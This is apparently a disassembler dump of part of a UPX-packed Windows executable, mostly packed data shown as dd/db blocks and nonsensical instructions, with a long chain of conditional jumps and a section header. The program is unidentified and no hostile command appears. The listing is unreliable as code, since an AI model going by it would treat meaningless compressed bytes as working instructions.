		dd 0DD003D37h, 0F4B151Fh, 3F4D1642h, 6A668B8Dh,	308C10EFh
		dd 7282C2Ch, 2F4A5844h,	85972ACDh, 75333758h, 0E7337972h
		dd 12A71E3Ch, 34557AC3h, 42551F7Ch, 600D5D58h, 0B2200322h
		dd 12C5057h, 0DE155ECDh, 8DBA2CEh, 6DFB1BFEh, 0F6D19657h
		dd 55BF7A22h, 3AB10AEBh, 0E72EC9F3h, 53783F2Fh,	0DB233FC2h
		dd 9D1C8E8Ch, 3AB30BB3h, 15F52F83h, 0D11B0E0Bh,	0A2110FB3h
		dd 892BF30Fh, 6F274A7Bh, 0E2119F0Dh, 7FCD9E56h,	4E4F407Bh
		dd 0DEC35F0Ch, 4B674C4Dh, 4A7B4B11h, 0AB330D8Ah, 6B414849h
		dd 0B0404740h, 4F75FB58h, 584D4E7Fh, 4C4A74FBh,	0E8E24A4Bh
		dd 4849B042h, 81428B00h, 0B4EDD487h, 372BC3A1h,	392F2C3Eh
		dd 35243D2Ah, 1AB98011h, 170B1703h, 24C724AFh, 0A0A0D3Bh
		dd 1319C45Ah, 0BA42E6Dh, 0D2A2472h, 0FDCFE716h,	0C5B6F6Eh
		dd 105CAA17h, 872B5848h
; ---------------------------------------------------------------------------
		fld	tbyte ptr [eax]
		adc	[ebx-71h], ah
		wait
		inc	ebx
		pop	ds
		push	ss
		or	ebx, [edx+ecx]
		adc	cl, [eax]
		jmp	short loc_31427875
; ---------------------------------------------------------------------------
		dd 1D5301CEh, 292B787Ah, 7E1955FEh, 1476277Eh, 2F4E5E35h
		dd 271E3310h, 18B9315Bh, 4C3A6450h, 10872C2Dh, 6B73B84Fh
		dd 263B582Bh, 0AD0E581Fh
; ---------------------------------------------------------------------------

locret_31427840:			; CODE XREF: UPX1:314278AAj
		retf
; ---------------------------------------------------------------------------
		db 0CFh, 0EDh, 83h
		dd 0F8200E43h, 0B05BCD4Ah, 41DC826h, 843F6263h,	5B21161Eh
		dd 1EB6A6Fh, 4E4C130Bh,	3A780806h, 19C7581Bh, 0CFCDCE5Bh
		dd 15636B20h, 0A5EF2A58h
		db 0Ah
; ---------------------------------------------------------------------------


loc_31427875:				; CODE XREF: UPX1:3142780Ej
		dec	edi
		into
		int	3		; Trap to Debugger
		js	short near ptr loc_314278F4+1
		cmp	al, 98h
		pop	eax
		jbe	short loc_3142789D
		push	edi
		enter	35Dh, 96h
		pop	ds
		adc	eax, 5C1B52D4h
		sbb	esp, [ebx]
		pushf
		mov	ds:0C115AC7h, al
		add	[eax+35h], ebx
		sbb	[esi], edx
; ---------------------------------------------------------------------------
		db 66h
		dd 0D449C062h
		db 79h
; ---------------------------------------------------------------------------


loc_3142789D:				; CODE XREF: UPX1:3142787Dj
		insd
		pop	eax
		or	al, 0F1h
		setalc
		push	edx
		push	edx
		mov	esp, 0F485EAC3h
		inc	eax
		jns	short locret_31427840
		db	3Eh
		or	bl, ds:887E741Dh
		mov	ds:3F75815Bh, eax ; CODE XREF: UPX1:314278D9j
		sbb	eax, 0FF17350Ch
		daa
		repne out dx, eax
		call	far ptr	1519h:36133E1Dh
		adc	[ecx+14h], bh
		or	ecx, [ebx+eax]
		xchg	eax, edi
		bound	edi, [eax+72ED1B0Ah]
		cmp	edx, [edi]
		or	[ecx], al
		popa
		jb	short near ptr loc_314278B3+4
		or	[edi], dl
		stc
		fnstcw	word ptr ds:364A1D00h
		mov	es, word ptr [edi+172C042Ah]
		pop	ss
		adc	al, 1Fh
		or	[ebx+4Ah], cl
		sub	edx, [esi]
		sbb	[eax], ecx


loc_314278F4:				; CODE XREF: UPX1:31427878j
		or	edx, [eax]
		pop	ss
		or	al, 61h
		movsd
		aad	35h
		repne in al, 6Ah
		dec	edx
		or	cl, [ebx]
		ja	short loc_31427930
		jge	short loc_31427911
		aad	6Ch
		test	dword ptr [ebp+54h], 837DCE60h
		clc
		pop	ecx


loc_31427911:				; CODE XREF: UPX1:31427904j
		db	36h
		sbb	eax, 19110C00h
		cmp	ds:3D665927h[eax*4], ebp
		push	cs
		ja	short loc_31427934
		sbb	[ecx], edx
		or	al, 3Eh
		pop	ss
		or	ch, [ebx]
		pop	ecx
		retn	0CE8Eh
; ---------------------------------------------------------------------------
		dd 37031F44h
; ---------------------------------------------------------------------------


loc_31427930:				; CODE XREF: UPX1:31427902j
		sbb	dl, [edx]
		push	cs
		push	esp


loc_31427934:				; CODE XREF: UPX1:3142791Fj
		cmp	al, 99h
		shl	dword ptr [ecx-0AA5DD45h], 0Ah
		adc	[ebx+42h], esi
		out	dx, eax
		xchg	eax, esp
; ---------------------------------------------------------------------------
		dw 0C7C5h
		db 0B0h	; °
		db 0Bh,	1Dh, 30h
		db  19h
		db 16h,	1Ch, 74h
		db  3Fh	; ?
		db 5Ch,	26h, 0BAh
		db 0C5h	; Å
		db 0BBh, 0CEh, 70h
		db  16h
		db 0AAh, 19h, 22h
		db  88h	; ˆ
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dw 0CDB5h
		db  69h	; i
		db 0EFh, 3Ch, 0DBh
		db  2Eh	; .
		db 1Ch,	1, 6Ch
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0Dh,	0A7h, 0CEh
		db  34h	; 4
		db 0E0h, 19h, 53h
		db  31h	; 1
		db 16h,	1Eh, 17h
		db  77h	; w
		db 2Bh,	71h, 1Dh
		db    8
		db 7Eh,	0F8h, 4Fh
		db  60h	; `
		db 1Ah,	31h, 0E4h
; ---------------------------------------------------------------------------
		pop	esi
		adc	ebx, ds:0A1F03D1Ch
		sbb	al, 0CBh
		push	eax
		retf
; ---------------------------------------------------------------------------
		db 16h
		db  4Eh	; N
		db 83h,	9Fh, 0EAh
		db 0B5h	; µ
		db 0A8h, 98h, 6Ah
		db  73h	; s
		db 39h,	2 dup(1Ch)
		db  0Ah
		db 77h,	0CBh, 8Fh
		db  65h	; e
		db 69h,	73h, 34h
		db  11h
		db 1Ah,	0Ah, 19h
		db  1Fh
		db 0CDh, 0F2h, 9Eh
		db 0A2h	; ¢
		db 18h,	53h, 35h
		db 0FAh	; ú
		db 4, 6Bh, 4Eh
		db  73h	; s
		db 70h,	0B3h, 0ADh
		db 0F6h	; ö
		db 0B7h, 1Bh, 0BBh
		db 0A2h	; ¢
		db 3Ah,	3, 2Ch
		db  11h
		db 0F9h, 0F0h, 0Dh
		db  1Dh
		db 0A6h, 6Dh, 31h
		db 0A0h	;  
		db 0F2h, 35h, 91h
		db    0
		db 4Ch,	0A2h, 63h
		db  4Eh	; N
		db 0E3h, 0AAh, 75h
		db  25h	; %
		db 0BCh, 41h, 8Ah
; ---------------------------------------------------------------------------
		push	1A37691Eh
		and	bh, ds:1955CE00h
		retf
; ---------------------------------------------------------------------------
		db  49h	; I
		db 0A7h, 72h, 1Bh
		db  6Bh	; k
		db 15h,	0E6h, 0E3h
		db  98h	; ˜
		db 0BEh, 55h, 2Ah
		db  63h	; c
		db 21h,	3, 70h
		db  98h	; ˜
		db 0B8h, 1Eh, 6Fh
		db 0FEh	; þ
		db 2, 1Dh, 40h
		db 0DFh	; ß
		db 34h,	18h, 0DBh
		db 0CDh	; Í
		db 0FDh, 6Dh, 3Dh
; ---------------------------------------------------------------------------
		test	[ebx-181A56E8h], bh
		or	eax, 1F42534Bh
		fnstenv	byte ptr [ebx]
		sbb	eax, 94433D01h
		cmp	[esi+77B9FE68h], dh
		sub	[edx-48h], esi
		db	26h
		mov	edx, 0E6698E22h
		dec	eax
		jmp	dword ptr [ecx]
; ---------------------------------------------------------------------------
		db  14h
		db 3Ah,	9Fh, 59h
		db  68h	; h
		db 98h,	64h, 0FCh
		db  0Eh
		db 3, 29h, 74h
		db  39h	; 9
		db 1Ah,	16h, 0C6h
		db  2Bh	; +
		db 10h,	53h, 76h
		db 0DDh	; Ý
		db 50h,	7Ch, 49h
		db 0FEh	; þ
		db 47h,	0B9h, 62h
; ---------------------------------------------------------------------------
		std
		mov	eax, ds:68F14E0Fh
		retn
; ---------------------------------------------------------------------------
		db 1Ah
		db 0CEh	; Î
		db 5, 72h, 3Ch
		db  6Ah	; j
		db 19h,	76h, 0Ah
		db  11h
		db 1Eh,	63h, 0AEh
		db  42h	; B
		db 0CEh, 1, 0B2h
		db  1Fh
		db 0F7h, 0Dh, 53h
		db  4Eh	; N
		db 14h,	17h, 19h
		db  17h
		db 3Bh,	0B6h, 17h
		db    1
		db 54h,	69h, 17h
		db  28h	; (
		db 5Bh,	8, 1Fh
		db  68h	; h
		db 2Ah,	0F7h, 76h
		db 0E8h	; è
		db 47h,	8Eh, 40h
		db 0A8h	; ¨
		align 2
		dw 396Ch
; ---------------------------------------------------------------------------
		sbb	ecx, [ecx]
		or	eax, 0D6080A11h
		or	al, 0A0h
		xor	eax, 42D84D31h
		dec	esi
		mov	ebx, 0A66B21DFh
		xchg	eax, esp
		or	ecx, [edx]
		mov	dl, 7Eh
		adc	eax, 0A9B660C9h
		retf	764Dh
; ---------------------------------------------------------------------------
		db 0EAh, 77h, 6Dh
		db 0A2h	; ¢
		db 0E1h, 13h, 2Bh
		db  35h	; 5
		db 65h,	27h, 3Ch
		db  20h
		db 0BDh, 72h, 0Ch
		db 0C0h	; À
		db 47h,	27h, 10h
		db  8Eh	; Ž
		db 81h,	5Fh, 4Eh
		db 0A3h	; £
		db 3Eh,	0B4h, 7Ah
		db  7Fh	; 
		db 1, 0Ah, 37h
		db  91h	; ‘
		db 68h,	79h, 0F0h
		db  6Dh	; m
		db 0D5h, 18h, 0E9h
		db  5Ah	; Z
		db 55h,	0B4h, 79h
		db  4Ch	; L
		db 0B5h, 65h, 5Fh
		db  1Dh
; ---------------------------------------------------------------------------
		jbe	short loc_31427B34
		sbb	[edx+726C4E54h], edi
		lahf
		int	3		; Trap to Debugger
		retn
; ---------------------------------------------------------------------------
		dd 317E966Dh, 80B0F1Eh,	391EC97Dh, 0E41AFB37h, 7C5C8C1Eh
		dd 0A3191422h, 0E32DFD3Bh, 4F766939h, 1F7D5954h, 63FE136Ch
		dd 167B7EDEh, 0C2B3B31h, 0F4ED76F9h, 753F621Dh,	0D095CAB3h
		dd 7A0B87D9h, 5479757Ah, 4154CAB3h, 746F4C17h, 0CAB354CAh
		dd 686B7C71h, 373DD26Eh, 3D284ED2h, 9C87CE76h, 21B0EECFh
; ---------------------------------------------------------------------------


loc_31427B34:				; CODE XREF: UPX1:31427AC5j
		mov	al, ds:78987838h
		ja	short near ptr loc_31427BB3+1
		jnb	short loc_31427BB6
		jle	short loc_31427BB3
		pop	esi
		retf	7964h
; ---------------------------------------------------------------------------
		adc	[edx-5Ch], ch


loc_31427B46:				; CODE XREF: UPX1:31427B76j
		dec	esp
		pop	ebx
		push	76BEDB5Dh
		cmp	cl, [ecx+73h]
		jp	short loc_31427B84
		dec	ebx
		iret
; ---------------------------------------------------------------------------
		dd 747FE3DCh, 414C6618h, 68C84E33h, 552F7E7Fh, 1A68F825h
		dd 41C71F4h, 0C8D6493Dh
		db 79h,	66h, 56h
; ---------------------------------------------------------------------------


loc_31427B73:				; CODE XREF: UPX1:31427BCEj
		adc	bh, al
		stc
		jnz	short loc_31427B46
		ficomp	word ptr [eax+ebp*8+5Eh]
		mov	esp, 0E804031Ch
		out	7Ch, eax
		cwde


loc_31427B84:				; CODE XREF: UPX1:31427B50j
		push	esi
		sbb	al, 99h
		sub	dword ptr [ecx+ebx*8+23h], 0FFFFFFA0h
		dec	edi
		jg	short loc_31427BE1
		pop	edi
		outsb
		mov	eax, 33987830h
		cmp	edi, ecx
		push	edi
		mov	ebx, 7878782Ch
		js	short loc_31427C18
		js	short near ptr loc_31427C18+2
		js	short near ptr loc_31427C1B+1
		call	near ptr 0A9BAF430h
		js	short near ptr loc_31427C1B+8
		js	short loc_31427C25
		js	short near ptr loc_31427C25+2
		js	short near ptr loc_31427BC6+3
; ---------------------------------------------------------------------------
		db 0C6h, 78h
; ---------------------------------------------------------------------------


loc_31427BB3:				; CODE XREF: UPX1:31427B3Dj
					; UPX1:31427B39j
		sbb	[edx], bh


loc_31427BB5:				; CODE XREF: UPX1:31427C10j
		dec	ecx


loc_31427BB6:				; CODE XREF: UPX1:31427B3Bj
		cmc
		mov	byte ptr [eax-38h], 87h
		xchg	ebp, [edi]
		sti
		mov	ch, 87h
		xchg	eax, ebx
		push	0E8E8E8E8h


loc_31427BC6:				; CODE XREF: UPX1:31427BAFj
		call	near ptr 6FC16EB3h
		lock jg	short near ptr loc_31427C0A+3
		jns	short loc_31427B73
		or	eax, 0FB66F37Fh
		xchg	eax, esi
		test	[ecx-5Dh], ch
		or	dl, [ebp+787879C0h] ; CODE XREF: UPX1:31427C4Ej
		js	short near ptr loc_31427C59+1


loc_31427BE1:				; CODE XREF: UPX1:31427B8Dj
		mov	ds:66F37F0Dh, eax
		sti
		xchg	eax, esi
		test	[ecx-5Dh], ch
		imul	edi, [eax-68F45C87h], 66F3710Dh
		sti
		xchg	eax, esi
		test	[ecx-5Dh], ch	; CODE XREF: UPX1:31427C05j
		or	ebx, [ecx+ecx*2+7B90FBB1h]
		or	dh, [ebp-47h]
		cwde
		jo	short near ptr loc_31427BF7+2
		jle	short loc_31427C47
		sti


loc_31427C0A:				; CODE XREF: UPX1:31427BCBj
		mov	[edi-420EF3F4h], al
		jns	short loc_31427BB5
		or	eax, 0FB66F37Fh
		xchg	eax, esi


loc_31427C18:				; CODE XREF: UPX1:31427B9Ej
					; UPX1:31427BA0j
		test	[ecx-5Dh], ch


loc_31427C1B:				; CODE XREF: UPX1:31427BA2j
					; UPX1:31427BA9j
		imul	esi, [ecx+7F0DA379h], 96FB66F3h


loc_31427C25:				; CODE XREF: UPX1:31427BABj
					; UPX1:31427BADj
		test	[ecx-5Dh], ch
		imul	esi, [ecx+7939580Dh], 0F37F0DA3h
		db	66h
		sti
		xchg	eax, esi


loc_31427C35:				; CODE XREF: UPX1:loc_31427CABj
		test	[ecx-5Dh], ch
		imul	esi, [ecx-68F45C87h], 66F3710Dh
		sti
		xchg	eax, esi
		test	[ecx-5Dh], ch


loc_31427C47:				; CODE XREF: UPX1:31427C07j
		or	ebx, [ebx+edi*8-7A068547h]
		js	short near ptr loc_31427BD9+2
		xchg	eax, [edi-0A865605h]
		insb
		push	edi
		sti


loc_31427C59:				; CODE XREF: UPX1:loc_31427CCCj
					; UPX1:31427BDFj
		test	[esi+ecx+3A7AF277h], eax
		lock jg	short near ptr loc_31427CA1+1
		xor	ds:871B918Fh, ecx
		xchg	eax, [edi-4850C18h]
		mov	edx, 0FB7FF17Ch
		mov	edi, 7C91FB7Ch
		jns	near ptr 65D433F8h
		xchg	eax, [edi-700ED979h]
		rol	dword ptr [esi], 78h
		js	short loc_31427D02
		repne jg short loc_31427CCC
		push	esp
		nop
		inc	esp
		jns	short loc_31427CA1
; ---------------------------------------------------------------------------
		dw 0F88Fh
		db 47h,	79h
; ---------------------------------------------------------------------------


loc_31427C96:				; CODE XREF: UPX1:31427CDCj
		or	eax, 0F27FF38Ah
		daa
		jl	short loc_31427CBC
; ---------------------------------------------------------------------------
		dw 90B9h
		db 70h
; ---------------------------------------------------------------------------


loc_31427CA1:				; CODE XREF: UPX1:31427C90j
					; UPX1:31427C60j
		mov	ecx, 0BCFE68B8h
		push	ecx
		cmp	al, 93h
		nop


loc_31427CAB:				; CODE XREF: UPX1:31427CAEj
		jns	short loc_31427C35
		icebp
		jg	short loc_31427CAB


loc_31427CB0:				; CODE XREF: UPX1:31427CF6j
		mov	edi, 9AA0F17Dh
		mov	eax, ds:2878C6F5h
		js	short near ptr loc_31427D33+1 ;	CODE XREF: UPX1:31427CC4j


loc_31427CBC:				; CODE XREF: UPX1:31427C9Cj
		rep jg short near ptr loc_31427D2F+1
		mov	eax, 27F33D0Ch
		jl	short near ptr loc_31427CBA+1
		cld
		dec	eax
		js	short near ptr loc_31427CD0+2
		js	short near ptr loc_31427D43+1


loc_31427CCC:				; CODE XREF: UPX1:31427C8Aj
		jns	short loc_31427C59
		sub	bl, bh


loc_31427CD0:				; CODE XREF: UPX1:31427CC8j
		mov	edi, 0F4EE8770h
		or	[eax+78h], bh
		in	eax, dx
		repne jg short loc_31427D1B
		jo	short loc_31427C96
		or	al, 0A4h
		icebp
		add	dword ptr [ecx], 7FCF777Fh
		aas
		sub	[edi], bh
		shr	dword ptr [edi], 30h
		mov	dl, dh
		sub	eax, 8E8EE87h
		js	short near ptr loc_31427D6D+1
		jno	short loc_31427CB0


loc_31427CF8:				; CODE XREF: UPX1:31427CFBj
		or	al, 7Fh
		icebp
		jnp	short loc_31427CF8
		mov	ebx, 87A0937Ch


loc_31427D02:				; CODE XREF: UPX1:31427C88j
		out	dx, al
		in	al, dx
		or	[eax+78h], bh
		sbb	[ecx-787821A1h], edx
		js	short loc_31427D87
		js	short loc_31427D89
		js	short loc_31427D8B
		js	short loc_31427D8D
		js	short loc_31427D8F
		js	short loc_31427D91
		js	short loc_31427D93


loc_31427D1B:				; CODE XREF: UPX1:31427CD9j
		js	short loc_31427D95
		js	short loc_31427D97
		js	short loc_31427D99
		js	short loc_31427D9B
		js	short loc_31427D9D
		js	short loc_31427D9F
		js	short loc_31427DA1
		js	short loc_31427DA3
		js	short loc_31427DA5
		js	short loc_31427DA7


loc_31427D2F:				; CODE XREF: UPX1:loc_31427CBCj
		js	short loc_31427DA9
		js	short loc_31427DAB


loc_31427D33:				; CODE XREF: UPX1:loc_31427CBAj
		js	short loc_31427DAD
		js	short loc_31427DAF
		js	short loc_31427DB1
		js	short loc_31427DB3
		js	short loc_31427DB5
		js	short loc_31427DB7
		js	short loc_31427DB9
		js	short loc_31427DBB


loc_31427D43:				; CODE XREF: UPX1:31427CCAj
		js	short loc_31427DBD
		js	short loc_31427DBF
		js	short loc_31427DC1
		js	short loc_31427DC3
		js	short loc_31427DC5
		js	short loc_31427DC7
		js	short loc_31427DC9
		js	short loc_31427DCB
		js	short loc_31427DCD
		js	short loc_31427DCF
		js	short loc_31427DD1
		js	short loc_31427DD3
		js	short loc_31427DD5
		js	short loc_31427DD7
		js	short loc_31427DD9
		js	short loc_31427DDB
		js	short loc_31427DDD
		js	short loc_31427DDF
		js	short loc_31427DE1
		js	short loc_31427DE3
		js	short loc_31427DE5


loc_31427D6D:				; CODE XREF: UPX1:31427CF4j
		js	short loc_31427DE7
		js	short loc_31427DE9
		js	short loc_31427DEB
		js	short loc_31427DED
		js	short loc_31427DEF
		js	short loc_31427DF1
		js	short loc_31427DF3
		js	short loc_31427DF5
		js	short loc_31427DF7
		js	short loc_31427DF9
		js	short loc_31427DFB
		js	short loc_31427DFD
		js	short loc_31427DFF


loc_31427D87:				; CODE XREF: UPX1:31427D0Dj
		js	short near ptr byte_31427E01


loc_31427D89:				; CODE XREF: UPX1:31427D0Fj
		js	short near ptr byte_31427E03


loc_31427D8B:				; CODE XREF: UPX1:31427D11j
		js	short near ptr byte_31427E05


loc_31427D8D:				; CODE XREF: UPX1:31427D13j
		js	short near ptr byte_31427E07


loc_31427D8F:				; CODE XREF: UPX1:31427D15j
		js	short near ptr byte_31427E09


loc_31427D91:				; CODE XREF: UPX1:31427D17j
		js	short near ptr byte_31427E0B


loc_31427D93:				; CODE XREF: UPX1:31427D19j
		js	short near ptr byte_31427E0D


loc_31427D95:				; CODE XREF: UPX1:loc_31427D1Bj
		js	short near ptr byte_31427E0F


loc_31427D97:				; CODE XREF: UPX1:31427D1Dj
		js	short near ptr byte_31427E11


loc_31427D99:				; CODE XREF: UPX1:31427D1Fj
		js	short near ptr byte_31427E13


loc_31427D9B:				; CODE XREF: UPX1:31427D21j
		js	short near ptr byte_31427E15


loc_31427D9D:				; CODE XREF: UPX1:31427D23j
		js	short near ptr byte_31427E17


loc_31427D9F:				; CODE XREF: UPX1:31427D25j
		js	short near ptr byte_31427E19


loc_31427DA1:				; CODE XREF: UPX1:31427D27j
		js	short near ptr byte_31427E1B


loc_31427DA3:				; CODE XREF: UPX1:31427D29j
		js	short near ptr byte_31427E1D


loc_31427DA5:				; CODE XREF: UPX1:31427D2Bj
		js	short near ptr byte_31427E1F


loc_31427DA7:				; CODE XREF: UPX1:31427D2Dj
		js	short near ptr byte_31427E21


loc_31427DA9:				; CODE XREF: UPX1:loc_31427D2Fj
		js	short near ptr byte_31427E23


loc_31427DAB:				; CODE XREF: UPX1:31427D31j
		js	short near ptr byte_31427E25


loc_31427DAD:				; CODE XREF: UPX1:loc_31427D33j
		js	short near ptr byte_31427E27


loc_31427DAF:				; CODE XREF: UPX1:31427D35j
		js	short near ptr byte_31427E29


loc_31427DB1:				; CODE XREF: UPX1:31427D37j
		js	short near ptr byte_31427E2B


loc_31427DB3:				; CODE XREF: UPX1:31427D39j
		js	short near ptr byte_31427E2D


loc_31427DB5:				; CODE XREF: UPX1:31427D3Bj
		js	short near ptr byte_31427E2F


loc_31427DB7:				; CODE XREF: UPX1:31427D3Dj
		js	short near ptr byte_31427E31


loc_31427DB9:				; CODE XREF: UPX1:31427D3Fj
		js	short near ptr byte_31427E33


loc_31427DBB:				; CODE XREF: UPX1:31427D41j
		js	short near ptr byte_31427E35


loc_31427DBD:				; CODE XREF: UPX1:loc_31427D43j
		js	short near ptr byte_31427E37


loc_31427DBF:				; CODE XREF: UPX1:31427D45j
		js	short near ptr byte_31427E39


loc_31427DC1:				; CODE XREF: UPX1:31427D47j
		js	short near ptr byte_31427E3B


loc_31427DC3:				; CODE XREF: UPX1:31427D49j
		js	short near ptr byte_31427E3D


loc_31427DC5:				; CODE XREF: UPX1:31427D4Bj
		js	short near ptr byte_31427E3F


loc_31427DC7:				; CODE XREF: UPX1:31427D4Dj
		js	short near ptr byte_31427E41


loc_31427DC9:				; CODE XREF: UPX1:31427D4Fj
		js	short near ptr byte_31427E43


loc_31427DCB:				; CODE XREF: UPX1:31427D51j
		js	short near ptr byte_31427E45


loc_31427DCD:				; CODE XREF: UPX1:31427D53j
		js	short near ptr byte_31427E47


loc_31427DCF:				; CODE XREF: UPX1:31427D55j
		js	short near ptr byte_31427E49


loc_31427DD1:				; CODE XREF: UPX1:31427D57j
		js	short near ptr byte_31427E4B


loc_31427DD3:				; CODE XREF: UPX1:31427D59j
		js	short near ptr byte_31427E4D


loc_31427DD5:				; CODE XREF: UPX1:31427D5Bj
		js	short near ptr byte_31427E4F


loc_31427DD7:				; CODE XREF: UPX1:31427D5Dj
		js	short near ptr byte_31427E51


loc_31427DD9:				; CODE XREF: UPX1:31427D5Fj
		js	short near ptr byte_31427E53


loc_31427DDB:				; CODE XREF: UPX1:31427D61j
		js	short near ptr byte_31427E55


loc_31427DDD:				; CODE XREF: UPX1:31427D63j
		js	short near ptr byte_31427E57


loc_31427DDF:				; CODE XREF: UPX1:31427D65j
		js	short near ptr byte_31427E59


loc_31427DE1:				; CODE XREF: UPX1:31427D67j
		js	short near ptr byte_31427E5B


loc_31427DE3:				; CODE XREF: UPX1:31427D69j
		js	short near ptr byte_31427E5D


loc_31427DE5:				; CODE XREF: UPX1:31427D6Bj
		js	short near ptr byte_31427E5F


loc_31427DE7:				; CODE XREF: UPX1:loc_31427D6Dj
		js	short near ptr byte_31427E61


loc_31427DE9:				; CODE XREF: UPX1:31427D6Fj
		js	short near ptr byte_31427E63


loc_31427DEB:				; CODE XREF: UPX1:31427D71j
		js	short near ptr byte_31427E65


loc_31427DED:				; CODE XREF: UPX1:31427D73j
		js	short near ptr byte_31427E67


loc_31427DEF:				; CODE XREF: UPX1:31427D75j
		js	short near ptr byte_31427E69


loc_31427DF1:				; CODE XREF: UPX1:31427D77j
		js	short near ptr byte_31427E6B


loc_31427DF3:				; CODE XREF: UPX1:31427D79j
		js	short near ptr byte_31427E6D


loc_31427DF5:				; CODE XREF: UPX1:31427D7Bj
		js	short near ptr byte_31427E6F


loc_31427DF7:				; CODE XREF: UPX1:31427D7Dj
		js	short near ptr byte_31427E71


loc_31427DF9:				; CODE XREF: UPX1:31427D7Fj
		js	short near ptr byte_31427E73


loc_31427DFB:				; CODE XREF: UPX1:31427D81j
		js	short near ptr byte_31427E75


loc_31427DFD:				; CODE XREF: UPX1:31427D83j
		js	short near ptr byte_31427E77


loc_31427DFF:				; CODE XREF: UPX1:31427D85j
		js	short $+2
; ---------------------------------------------------------------------------
byte_31427E01	db 2 dup(0)		; CODE XREF: UPX1:loc_31427D87j
byte_31427E03	db 0			; CODE XREF: UPX1:loc_31427D89j
		db 0
byte_31427E05	db 2 dup(0)		; CODE XREF: UPX1:loc_31427D8Bj
byte_31427E07	db 0			; CODE XREF: UPX1:loc_31427D8Dj
		db 0
byte_31427E09	db 2 dup(0)		; CODE XREF: UPX1:loc_31427D8Fj
byte_31427E0B	db 0			; CODE XREF: UPX1:loc_31427D91j
		db 0
byte_31427E0D	db 2 dup(0)		; CODE XREF: UPX1:loc_31427D93j
byte_31427E0F	db 0			; CODE XREF: UPX1:loc_31427D95j
		db 0
byte_31427E11	db 2 dup(0)		; CODE XREF: UPX1:loc_31427D97j
byte_31427E13	db 0			; CODE XREF: UPX1:loc_31427D99j
		db 0
byte_31427E15	db 2 dup(0)		; CODE XREF: UPX1:loc_31427D9Bj
byte_31427E17	db 0			; CODE XREF: UPX1:loc_31427D9Dj
		db 0
byte_31427E19	db 2 dup(0)		; CODE XREF: UPX1:loc_31427D9Fj
byte_31427E1B	db 0			; CODE XREF: UPX1:loc_31427DA1j
		db 0
byte_31427E1D	db 2 dup(0)		; CODE XREF: UPX1:loc_31427DA3j
byte_31427E1F	db 0			; CODE XREF: UPX1:loc_31427DA5j
		db 0
byte_31427E21	db 2 dup(0)		; CODE XREF: UPX1:loc_31427DA7j
byte_31427E23	db 0			; CODE XREF: UPX1:loc_31427DA9j
		db 0
byte_31427E25	db 2 dup(0)		; CODE XREF: UPX1:loc_31427DABj
byte_31427E27	db 0			; CODE XREF: UPX1:loc_31427DADj
		db 0
byte_31427E29	db 2 dup(0)		; CODE XREF: UPX1:loc_31427DAFj
byte_31427E2B	db 0			; CODE XREF: UPX1:loc_31427DB1j
		db 0
byte_31427E2D	db 2 dup(0)		; CODE XREF: UPX1:loc_31427DB3j
byte_31427E2F	db 0			; CODE XREF: UPX1:loc_31427DB5j
		db 0
byte_31427E31	db 2 dup(0)		; CODE XREF: UPX1:loc_31427DB7j
byte_31427E33	db 0			; CODE XREF: UPX1:loc_31427DB9j
		db 0
byte_31427E35	db 2 dup(0)		; CODE XREF: UPX1:loc_31427DBBj
byte_31427E37	db 0			; CODE XREF: UPX1:loc_31427DBDj
		db 0
byte_31427E39	db 2 dup(0)		; CODE XREF: UPX1:loc_31427DBFj
byte_31427E3B	db 0			; CODE XREF: UPX1:loc_31427DC1j
		db 0
byte_31427E3D	db 2 dup(0)		; CODE XREF: UPX1:loc_31427DC3j
byte_31427E3F	db 0			; CODE XREF: UPX1:loc_31427DC5j
		db 0
byte_31427E41	db 2 dup(0)		; CODE XREF: UPX1:loc_31427DC7j
byte_31427E43	db 0			; CODE XREF: UPX1:loc_31427DC9j
		db 0
byte_31427E45	db 2 dup(0)		; CODE XREF: UPX1:loc_31427DCBj
byte_31427E47	db 0			; CODE XREF: UPX1:loc_31427DCDj
		db 0
byte_31427E49	db 2 dup(0)		; CODE XREF: UPX1:loc_31427DCFj
byte_31427E4B	db 0			; CODE XREF: UPX1:loc_31427DD1j
		db 0
byte_31427E4D	db 2 dup(0)		; CODE XREF: UPX1:loc_31427DD3j
byte_31427E4F	db 0			; CODE XREF: UPX1:loc_31427DD5j
		db 0
byte_31427E51	db 2 dup(0)		; CODE XREF: UPX1:loc_31427DD7j
byte_31427E53	db 0			; CODE XREF: UPX1:loc_31427DD9j
		db 0
byte_31427E55	db 2 dup(0)		; CODE XREF: UPX1:loc_31427DDBj
byte_31427E57	db 0			; CODE XREF: UPX1:loc_31427DDDj
		db 0
byte_31427E59	db 2 dup(0)		; CODE XREF: UPX1:loc_31427DDFj
byte_31427E5B	db 0			; CODE XREF: UPX1:loc_31427DE1j
		db 0
byte_31427E5D	db 2 dup(0)		; CODE XREF: UPX1:loc_31427DE3j
byte_31427E5F	db 0			; CODE XREF: UPX1:loc_31427DE5j
		db 0
byte_31427E61	db 2 dup(0)		; CODE XREF: UPX1:loc_31427DE7j
byte_31427E63	db 0			; CODE XREF: UPX1:loc_31427DE9j
		db 0
byte_31427E65	db 2 dup(0)		; CODE XREF: UPX1:loc_31427DEBj
byte_31427E67	db 0			; CODE XREF: UPX1:loc_31427DEDj
		db 0
byte_31427E69	db 2 dup(0)		; CODE XREF: UPX1:loc_31427DEFj
byte_31427E6B	db 0			; CODE XREF: UPX1:loc_31427DF1j
		db 0
byte_31427E6D	db 2 dup(0)		; CODE XREF: UPX1:loc_31427DF3j
byte_31427E6F	db 0			; CODE XREF: UPX1:loc_31427DF5j
		db 0
byte_31427E71	db 2 dup(0)		; CODE XREF: UPX1:loc_31427DF7j
byte_31427E73	db 0			; CODE XREF: UPX1:loc_31427DF9j
		db 0
byte_31427E75	db 2 dup(0)		; CODE XREF: UPX1:loc_31427DFBj
byte_31427E77	db 0			; CODE XREF: UPX1:loc_31427DFDj
		align 200h
UPX1		ends

; Section 3. (virtual address 00008000)
; Virtual size			: 0000A000 (  40960.)
; Section size in file		: 0000A000 (  40960.)
; Offset to raw	data for section: 00008000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX2		segment	para public 'CODE' use32
		assume cs:UPX2
		;org 31428000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		dd 3 dup(0)
		dd 80C4h, 808Ch, 3 dup(0)
		dd 80D1h, 809Ch, 3 dup(0)
		dd 80DEh, 80A4h, 3 dup(0)
